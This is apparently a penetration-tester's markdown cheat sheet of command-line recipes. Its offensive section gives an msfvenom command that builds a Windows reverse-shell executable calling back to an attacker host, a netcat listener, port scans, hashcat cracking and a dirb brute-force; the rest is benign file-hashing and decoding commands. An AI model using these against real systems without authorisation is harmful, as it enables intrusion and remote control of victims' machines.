decrypting…# 🔫Quick Reference Commands ## 🛡️ Offensive Security Commands ### Nmap default port scan ```bash nmap -p- -O -v -sV -sC <IP ADDRESS> ``` -- Default mass port scan with OS and Service identification ### Nmap Aggressive port scan ```bash nmap -A -v <IP ADDRESS> ``` -- Aggressive Port Scan ### Retrieve a file from an FTP server ```bash mget * ``` -- Full all files from a directory from an FTP server ### Crack a Password with Hashcat ```bash hashcat -O -a 0 -m <HASH Type> <FILE HASH>:<SALT> ``` -- This command runs Hashcat in optimized mode (`-O`) to crack a hash (`<FILE HASH>`) that uses a salt (`<SALT>`), using a dictionary attack (`-a 0`) against a specific hash type ### Create Reverse Shell Malware ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL HOST> LPORT=4444 -f exe > shell.exe ``` -- This command will utilise the MSF venom package of the Metasploit framework and generate a revers shell listening on port 4444 ### Host a Python Webserver ```bash python3 -m http.server 8000 ``` -- This command will host a minimised webserver on port 8000 locatable at the local IP of the endpoint ### Create a Network Share ```bash net share <NAME OF SHARE>=<PATH TO DIRECTORY OF SHARE> ``` -- This command will create a sharable drive on the system that allows other endpoints on the network to access ### Create a Quick Reverse Shell Listener ```bash nc -nvlp 3333 ``` -- This command will issue a net cat listener on port `3333` without resolving DNS and providing a verbose output ### Create a Quick Reverse Shell - Utilising the resource available at [revshells.com](https://revshells.com) can provide multiple ways to generate a reverse shell. ## 📝File Information ### Retrieve basic file information ```bash file <FILE NAME> ``` -- This will provide a high level overview of a given file specifying file type and offset ### Provide a hexdump of a file ```bash xxd <FILE NAME> ``` -- This will provide a hexdump of a given file ## \# File Hashing ### Retrieve a file hash (linux) ```bash <FILE HASH TYPE>sum <FILE NAME> ``` ### Retrieve a file hash (Powershell) > Default is SHA256 e.g. no provided `-alg` statement ```bash get-filehash <FILE NAME> -alg <FILE HASH TYPE> ``` ### Retrieve a file hash (Win) ```bash certutil -hashfile <FILE NAME> <FILEHASHTYPE> ``` ## Other ### Get Architecture Information ```bash wmic os get osarchitecture ``` -- This command will identify what architecture the system is running (e.g. 32-bit/64-bit) ### Command Line Base64 Decode ```bash echo "<BASE64 STRING>" | base64 -d ``` -- This command will decode any provided base 64 ### Dirb Search ```bash dirb http://example.com /usr/share/wordlists/dirb/big.txt -X .php,.txt,.exe,.html,.jpg,.jpeg,.png,.doc,.htm,.pdf,.xml,.log,.com,.sh,.zip ``` - this will attempt to brute force all paths available on a given site